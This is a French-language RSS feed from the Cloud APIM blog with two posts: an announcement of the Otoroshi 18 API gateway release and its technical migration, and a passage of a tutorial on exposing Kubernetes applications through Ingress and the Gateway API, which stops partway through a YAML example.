<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Cloud APIM Blog (Français)</title><description>Actualités, nouvelles versions et articles de fond de Cloud APIM, l’équipe derrière l’API gateway Otoroshi : API management, AI gateways, pare-feu applicatifs et open source.</description><link>https://blog.cloud-apim.com/fr</link><language>fr</language><atom:link href="https://blog.cloud-apim.com/fr/rss.xml" rel="self" type="application/rss+xml"/><image><url>https://blog.cloud-apim.com/icon-512.png</url><title>Cloud APIM Blog (Français)</title><link>https://blog.cloud-apim.com/fr</link></image><lastBuildDate>Tue, 10 Nov 2026 14:20:15 GMT</lastBuildDate><ttl>60</ttl><item><title>Otoroshi 18 est là : nouvelles fondations, même gateway</title><link>https://blog.cloud-apim.com/otoroshi-18-est-la</link><guid isPermaLink="true">https://blog.cloud-apim.com/otoroshi-18-est-la</guid><description>Le plus gros chantier d&apos;Otoroshi depuis des années, pensé pour être la mise à jour la plus ennuyeuse que vous ferez cette année.</description><pubDate>Tue, 10 Nov 2026 07:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Le 23 octobre, nous avons publié Otoroshi 18.0.0, suivie trois jours plus tard de la 18.0.1. C’est la version la plus importante depuis des années, et sans doute la mieux préparée : tout le socle technique a été remplacé, les Service Descriptors ont enfin disparu, et la gateway a traversé deux audits de sécurité complets.&lt;/p&gt;
&lt;p&gt;Pourtant, pour la grande majorité des installations, la mise à jour devrait être d’un ennui parfait. Vos routes, vos plugins, vos clés d’API, vos certificats et vos exporteurs ne bougent pas. Votre trafic ne s’aperçoit de rien.&lt;/p&gt;
&lt;p&gt;Cet article ouvre une série de sept billets sur Otoroshi 18 et sur ce que nous avons construit autour. On commence par la vue d’ensemble.&lt;/p&gt;
&lt;h2 id=&quot;pourquoi-il-fallait-changer-les-fondations&quot;&gt;Pourquoi il fallait changer les fondations&lt;/h2&gt;
&lt;p&gt;Otoroshi tournait sur Scala 2.12, Play 2.8 et Akka 2.6. Chacune de ces briques posait un problème :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Scala 2.12&lt;/strong&gt; date de 2016. De moins en moins de bibliothèques publient encore pour cette version.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Akka&lt;/strong&gt; est passé sous licence BSL en septembre 2023. La fondation Apache a repris la dernière version Apache 2.0 sous le nom d’&lt;strong&gt;Apache Pekko&lt;/strong&gt;, et l’écosystème a suivi.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Play 2.8&lt;/strong&gt; n’est plus maintenu, et &lt;strong&gt;Play 3&lt;/strong&gt;, la branche basée sur Pekko, est sortie fin 2023.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Pris séparément, chacun de ces points se gère. Ensemble, ils éloignaient Otoroshi du reste de l’écosystème JVM, un peu plus chaque mois. L’issue qui demandait la migration vers Play 3 avait été ouverte en novembre 2023.&lt;/p&gt;
&lt;p&gt;Le portage a commencé en juin, et début juillet nous avons gelé les fonctionnalités pour nous y consacrer entièrement. La règle était stricte : changer les fondations, et rien d’autre.&lt;/p&gt;
&lt;h2 id=&quot;ce-qui-a-changé-sous-le-capot&quot;&gt;Ce qui a changé sous le capot&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Avant&lt;/th&gt;
&lt;th&gt;Après&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Scala 2.12&lt;/td&gt;
&lt;td&gt;Scala 3.8&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Play 2.8&lt;/td&gt;
&lt;td&gt;Play 3.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Akka 2.6&lt;/td&gt;
&lt;td&gt;Apache Pekko 1.6&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Java 11 minimum&lt;/td&gt;
&lt;td&gt;Java 17 minimum&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Interface d’admin construite avec webpack, jQuery&lt;/td&gt;
&lt;td&gt;Vite, plus de jQuery&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Bibliothèques tierces patchées et embarquées&lt;/td&gt;
&lt;td&gt;Retour sur les versions officielles&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Pekko est un fork direct de l’Akka que nous utilisions déjà : même modèle d’acteurs, mêmes streams, même pile HTTP. Les noms de packages changent, le comportement reste le même.&lt;/p&gt;
&lt;h2 id=&quot;ce-qui-disparaît--les-service-descriptors&quot;&gt;Ce qui disparaît : les Service Descriptors&lt;/h2&gt;
&lt;p&gt;Les Service Descriptors étaient dépréciés depuis février 2022, quand le nouveau moteur de proxy est arrivé. La version 17 avait livré les outils de migration. La 18 retire l’entité, son API d’admin, ses écrans et sa CRD Kubernetes. Les Routes sont désormais la seule façon de configurer le proxy HTTP : une entité, un modèle mental, un seul chemin de code.&lt;/p&gt;
&lt;p&gt;Personne n’a de migration manuelle à faire. Au premier démarrage, un job sauvegarde chaque descriptor dans un fichier, puis le convertit en Route en gardant le même identifiant. Un descriptor n’est supprimé qu’une fois sa Route écrite et relue. Ce qui échoue est laissé en place, journalisé, et retenté au démarrage suivant. Les clés d’API qui pointaient vers un ancien service continuent de fonctionner.&lt;/p&gt;
&lt;h2 id=&quot;ce-qui-arrive-en-plus&quot;&gt;Ce qui arrive en plus&lt;/h2&gt;
&lt;p&gt;Une fois le portage validé, nous avons levé le gel. Les previews suivantes ont apporté des nouveautés qui changent la vie des équipes qui publient des API :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Chaque consommateur d’API devient une clé d’API&lt;/strong&gt;, quel que soit le plan (sans authentification, JWT, mTLS, OAuth2). Quotas, rate limiting et analytics s’appliquent à tous les appelants.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Des chaînes de plugins par consommateur&lt;/strong&gt; : un plan ou une clé d’API peut apporter ses propres plugins, en plus ou à la place de ceux de la route.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Des plugins conditionnels&lt;/strong&gt; : n’importe quel plugin peut ne s’exécuter que si des conditions sont remplies sur la clé, l’utilisateur, la route, la requête ou la réponse.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Des proxies de confiance&lt;/strong&gt; : l’adresse du client est lue depuis le bout fiable de la chaîne &lt;code&gt;X-Forwarded-For&lt;/code&gt;. Un client ne peut plus choisir son IP pour contourner un rate limit.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Un chemin critique plus rapide&lt;/strong&gt;, et une JVM dimensionnée automatiquement d’après les limites du conteneur.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Nous détaillerons tout cela dans les prochains articles, à commencer par les performances.&lt;/p&gt;
&lt;h2 id=&quot;vérifier-puis-vérifier-encore&quot;&gt;Vérifier, puis vérifier encore&lt;/h2&gt;
&lt;p&gt;Un portage de cette taille ne vaut que par les vérifications qui l’accompagnent. Nous avons passé au moins autant de temps à vérifier qu’à écrire.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Le chantier en chiffres&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Durée, du premier commit du portage à la sortie&lt;/td&gt;
&lt;td&gt;un peu plus de 4 mois&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Commits&lt;/td&gt;
&lt;td&gt;environ 1 000&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Issues fermées&lt;/td&gt;
&lt;td&gt;234&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Versions de test publiées&lt;/td&gt;
&lt;td&gt;9 previews, 4 release candidates&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Lignes de tests ajoutées&lt;/td&gt;
&lt;td&gt;plus de 70 000&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Audits de sécurité complets&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;La suite de tests couvre désormais le clustering, le mTLS, WebAuthn, la validation SAML et les droits de l’API d’admin. Elle écrit et relit le JSON de chaque entité et de chaque configuration de plugin. Ce seul test a révélé des dizaines de réglages qui perdaient leur valeur à l’enregistrement. Aucun ne se serait vu en démo, tous sont corrigés.&lt;/p&gt;
&lt;p&gt;Le document OpenAPI de l’API d’admin a été réécrit, et une suite de conformité le confronte désormais à un Otoroshi qui tourne. Chaque désaccord était un bug, d’un côté ou de l’autre, et il a été corrigé là où il devait l’être.&lt;/p&gt;
&lt;h2 id=&quot;qui-est-derrière&quot;&gt;Qui est derrière&lt;/h2&gt;
&lt;p&gt;Otoroshi est open source depuis son premier jour, en 2017, sous licence Apache 2.0. Cloud APIM a été fondée en 2021 par son créateur, et c’est chez nous que se fait aujourd’hui l’essentiel de son développement : sur les quelque 1 000 commits de la 18, plus de 800 viennent de l’équipe Cloud APIM. Merci aussi à tous ceux qui ont contribué au code, testé les previews et remonté des bugs.&lt;/p&gt;
&lt;p&gt;Le jour de la sortie, nous avons aussi publié trois extensions compatibles avec la 18 : l’extension LLM et son AI Studio, la suite Threat Protection et son Threat Studio, et le tout nouveau Clever Cloud Reaper. Chacune aura son article dans cette série.&lt;/p&gt;
&lt;h2 id=&quot;et-maintenant-&quot;&gt;Et maintenant ?&lt;/h2&gt;
&lt;p&gt;Pour la plupart des installations, la réponse tient en une phrase : passez en 18. Quelques points méritent tout de même un coup d’œil avant :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Java 17 minimum.&lt;/li&gt;
&lt;li&gt;Les réglages &lt;code&gt;akka.*&lt;/code&gt; deviennent &lt;code&gt;pekko.*&lt;/code&gt; (les variables d’environnement &lt;code&gt;OTOROSHI_AKKA_*&lt;/code&gt; continuent de fonctionner).&lt;/li&gt;
&lt;li&gt;Les plugins Scala maison doivent être recompilés pour Scala 3. Les plugins WASM ne sont pas concernés.&lt;/li&gt;
&lt;li&gt;Sur Kubernetes, appliquez les nouvelles CRD.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;La branche 17.x reste disponible pour ceux qui ont besoin de plus de temps. Et si vous préférez ne pas y penser du tout, nos clusters &lt;a href=&quot;https://www.cloud-apim.com/fr/otoroshi-managed&quot;&gt;Otoroshi Managed&lt;/a&gt; sont mis à jour par l’équipe qui écrit le code.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Pour aller plus loin&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.otoroshi.io/blog/otoroshi-18-new-foundations&quot;&gt;L’article technique complet sur le blog d’Otoroshi&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/MAIF/otoroshi/releases/tag/v18.0.0&quot;&gt;Les notes de version de la 18.0.0&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.otoroshi.io/docs/topics/deprecating-sd&quot;&gt;Le guide de migration des Service Descriptors&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.otoroshi.io/docs/topics/production-checklist&quot;&gt;La checklist de mise en production&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Prochain article : ce que nous avons mesuré et gagné en performances.&lt;/p&gt;</content:encoded><dc:creator>Mathieu Ancelin</dc:creator><dc:language>fr</dc:language><category>Otoroshi</category><category>API gateway</category><category>Nouvelles versions</category><category>Scala 3</category><category>Pekko</category><enclosure url="https://blog.cloud-apim.com/_astro/cover.DPvDWL8y_Z10RosO.jpg" length="0" type="image/jpeg"/></item><item><title>Exposer des applications Kubernetes avec Otoroshi et la Gateway API sur Clever Cloud</title><link>https://blog.cloud-apim.com/exposer-des-applications-kubernetes-avec-otoroshi-et-la-gateway-api-sur-clever-cloud</link><guid isPermaLink="true">https://blog.cloud-apim.com/exposer-des-applications-kubernetes-avec-otoroshi-et-la-gateway-api-sur-clever-cloud</guid><description>Il y a une satisfaction particulière quand on vient de mettre en place une nouvelle brique d&apos;infrastructure et qu&apos;elle fonctionne vraiment.</description><pubDate>Tue, 21 Apr 2026 06:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Il y a une satisfaction particulière quand on vient de mettre en place une nouvelle brique d’infrastructure et qu’elle fonctionne vraiment. Ce genre de satisfaction qui vous fait attraper votre café, vous caler au fond de votre chaise et simplement… respirer. C’est exactement ce que j’ai ressenti quand, après quelques heures de bricolage par un après-midi pluvieux, j’ai vu une commande &lt;code&gt;curl&lt;/code&gt; renvoyer un beau HTTP 200 depuis une application tournant au fin fond d’un cluster Kubernetes — routée par l’intégration Gateway API d’Otoroshi, elle-même hébergée sur le moteur Kubernetes managé de Clever Cloud.&lt;/p&gt;
&lt;p&gt;Je vous propose de refaire ce chemin avec moi dans cet article. Nous partirons du problème fondamental de l’exposition des workloads Kubernetes au monde extérieur, nous passerons par l’histoire des contrôleurs Ingress, jusqu’au nouveau standard de Kubernetes, la Gateway API — et nous déploierons toute la stack, étape par étape, sur &lt;a href=&quot;https://www.clever.cloud/developers/doc/kubernetes&quot;&gt;Clever Kubernetes Engine&lt;/a&gt; (CKE), l’offre Kubernetes managée de Clever Cloud.&lt;/p&gt;
&lt;p&gt;Servez-vous un café : l’article est long.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;le-problème--votre-application-est-prisonnière-du-cluster&quot;&gt;Le problème : votre application est prisonnière du cluster&lt;/h2&gt;
&lt;p&gt;Quand vous déployez une application sur Kubernetes, vous la placez dans un environnement très capable, mais fondamentalement isolé. Les pods Kubernetes vivent dans leur propre espace réseau privé. Des services comme &lt;code&gt;ClusterIP&lt;/code&gt; rendent ces pods joignables &lt;em&gt;à l’intérieur&lt;/em&gt; du cluster mais, par conception, ils ne sont pas accessibles depuis l’extérieur.&lt;/p&gt;
&lt;p&gt;C’est d’ailleurs une fonctionnalité, pas un bug. Kubernetes vous offre un réseau privé et maîtrisé. Mais dès que votre application doit servir de vrais utilisateurs — ou dialoguer avec des systèmes externes —, il vous faut percer une ouverture contrôlée dans cette isolation.&lt;/p&gt;
&lt;p&gt;Au fil des années, la communauté Kubernetes a développé plusieurs réponses à ce problème, chacune avec ses compromis.&lt;/p&gt;
&lt;h3 id=&quot;les-débuts--nodeport-et-loadbalancer&quot;&gt;Les débuts : NodePort et LoadBalancer&lt;/h3&gt;
&lt;p&gt;L’option la plus simple est un service &lt;code&gt;NodePort&lt;/code&gt;. Il ouvre un port sur chaque nœud du cluster et redirige le trafic vers vos pods. Ça marche, mais c’est peu pratique : vous manipulez des numéros de port élevés (30 000 et au-delà), vous exposez directement l’IP de chaque nœud, et vous n’avez aucune capacité de gestion du trafic. NodePort est parfait pour des tests rapides en local, mais ce n’est pas quelque chose que vous feriez tourner en production.&lt;/p&gt;
&lt;p&gt;L’étape suivante est un service &lt;code&gt;LoadBalancer&lt;/code&gt;. Les fournisseurs cloud — Clever Cloud compris — savent provisionner un load balancer externe et le brancher automatiquement à vos pods. C’est un vrai progrès : vous obtenez une IP externe stable et des numéros de port propres. Mais si vous avez des dizaines de services à exposer, vous vous retrouvez avec des dizaines de load balancers, qui coûtent chacun de l’argent et demandent chacun leur configuration DNS. Ça ne passe pas bien à l’échelle.&lt;/p&gt;
&lt;p&gt;Ce dont vous avez vraiment besoin, c’est d’un point d’entrée unique — un reverse proxy — capable de router intelligemment le trafic vers le bon service en fonction du nom d’hôte, du chemin, des en-têtes ou d’autres attributs de la requête. Et c’est exactement pour cela que la ressource Ingress a été créée.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;une-brève-histoire-dingress&quot;&gt;Une brève histoire d’Ingress&lt;/h2&gt;
&lt;p&gt;Kubernetes a introduit la ressource &lt;code&gt;Ingress&lt;/code&gt; vers 2015, comme moyen standardisé de définir des règles de routage HTTP. L’idée était élégante : vous écrivez un manifeste YAML qui dit « les requêtes vers &lt;code&gt;api.example.com/v1&lt;/code&gt; doivent aller au service &lt;code&gt;my-api&lt;/code&gt; sur le port 8080 », et un contrôleur s’en saisit pour configurer le véritable reverse proxy.&lt;/p&gt;
&lt;p&gt;Une ressource Ingress typique ressemble à ceci :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;yaml&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;apiVersion&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;networking.k8s.io/v1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kind&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Ingress&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;metadata&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;my-app&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  namespace&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;default&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;spec&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  rules&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  - &lt;/span&gt;&lt;span&gt;host&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;api.example.com&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    http&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      paths&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      - &lt;/span&gt;&lt;span&gt;path&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;/v1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        pathType&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Prefix&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        backend&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          service&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;            name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;my-api&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;            port&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;              number&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;8080&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;lécosystème-des-contrôleurs-ingress&quot;&gt;L’écosystème des contrôleurs Ingress&lt;/h3&gt;
&lt;p&gt;La spécification Ingress, à elle seule, ne fait rien : il vous faut aussi un &lt;em&gt;contrôleur Ingress&lt;/em&gt;, un logiciel qui surveille les ressources Ingress et les traduit en configuration concrète du proxy. Nginx a été le choix le plus populaire. D’autres ont suivi : Traefik, HAProxy Ingress, Contour, et bien d’autres.&lt;/p&gt;
&lt;p&gt;Le problème, c’est que la spécification Ingress a été volontairement gardée minimale. Le standard ne vous offrait que du routage basique par hôte et par chemin. Tout le reste — modes de terminaison TLS, rate limiting, authentification, retries, déploiements canary — devait passer par des &lt;em&gt;annotations&lt;/em&gt;. Et comme les annotations ne sont que des chaînes arbitraires attachées aux ressources, chaque contrôleur avait son propre vocabulaire. Une annotation de rate limiting pour Nginx ne ressemble en rien à celle de Traefik. Passer d’un contrôleur à un autre impliquait de réécrire toutes vos ressources Ingress.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;yaml&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;# nginx-specific annotation&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;nginx.ingress.kubernetes.io/limit-rps&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;10&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;# Same thing in Traefik&apos;s world&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;traefik.ingress.kubernetes.io/rate-limit&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  extractorfunc: client.ip&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  rateset:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    default:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      period: 1s&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      average: 10&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Cette prolifération d’annotations était un point douloureux bien identifié par la communauté. L’API Ingress commençait à accuser son âge.&lt;/p&gt;
&lt;h3 id=&quot;lhistoire-de-la-dépréciation&quot;&gt;L’histoire de la dépréciation&lt;/h3&gt;
&lt;p&gt;La situation s’est clarifiée en 2023, quand les mainteneurs de Kubernetes ont annoncé la dépréciation du contrôleur historique &lt;code&gt;kubernetes/ingress-nginx&lt;/code&gt; — non pas le projet Nginx Ingress Controller lui-même, mais celui maintenu par la communauté Kubernetes. Le projet avait accumulé une dette technique importante et la communauté a décidé qu’il était temps de passer à autre chose.&lt;/p&gt;
&lt;p&gt;Plus largement, l’API Ingress elle-même était passée en mode maintenance. Plus aucune nouvelle fonctionnalité n’y était ajoutée. La communauté travaillait déjà sur quelque chose de mieux.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;lavenir-est-déjà-là--la-gateway-api-de-kubernetes&quot;&gt;L’avenir est déjà là : la Gateway API de Kubernetes&lt;/h2&gt;
&lt;p&gt;La &lt;a href=&quot;https://gateway-api.sigs.k8s.io/&quot;&gt;Gateway API de Kubernetes&lt;/a&gt; est le successeur moderne et standardisé d’Ingress. Elle a atteint la disponibilité générale (GA) fin 2023 et son adoption progresse régulièrement depuis.&lt;/p&gt;
&lt;p&gt;La Gateway API a été conçue avec plusieurs objectifs clés en tête : être assez expressive pour couvrir des scénarios de routage avancés sans annotations, séparer clairement les responsabilités entre les différents rôles, et être extensible de façon maîtrisée.&lt;/p&gt;
&lt;h3 id=&quot;un-modèle-différent&quot;&gt;Un modèle différent&lt;/h3&gt;
&lt;p&gt;Là où Ingress n’a qu’un seul type de ressource, la Gateway API introduit une hiérarchie de ressources :&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;GatewayClass&lt;/strong&gt; — Définit quelle implémentation de contrôleur prend en charge une classe donnée de gateways. Voyez-la comme une &lt;code&gt;StorageClass&lt;/code&gt;, mais pour le trafic plutôt que pour le stockage. Elle est généralement créée par l’équipe infrastructure ou par l’opérateur de la plateforme.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;yaml&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;apiVersion&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;gateway.networking.k8s.io/v1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kind&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;GatewayClass&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;metadata&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;my-gateway-class&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;spec&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  controllerName&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;vendor.io/my-controller&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Gateway&lt;/strong&gt; — Une instance concrète de gateway, qui utilise une classe donnée. Elle définit les protocoles et les ports à écouter, ainsi que les noms d’hôte à prendre en charge. C’est la ressource créée par l’équipe propriétaire du cluster ou de l’infrastructure réseau.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;yaml&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;apiVersion&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;gateway.networking.k8s.io/v1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kind&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Gateway&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;metadata&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;my-gateway&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  namespace&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;infra&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;spec&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  gatewayClassName&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;my-gateway-class&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  listeners&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;http&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    protocol&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;HTTP&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    port&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;80&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    hostname&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;*.example.com&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    allowedRoutes&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      namespaces&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        from&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;All&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;HTTPRoute&lt;/strong&gt; — Les règles de routage proprement dites, définies par les équipes applicatives dans leurs propres namespaces. C’est la partie qui intéresse les développeurs : « mon application est servie sur &lt;code&gt;api.example.com/v2&lt;/code&gt; ».&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;yaml&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;apiVersion&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;gateway.networking.k8s.io/v1&lt;/span&gt;&lt;/span&gt;
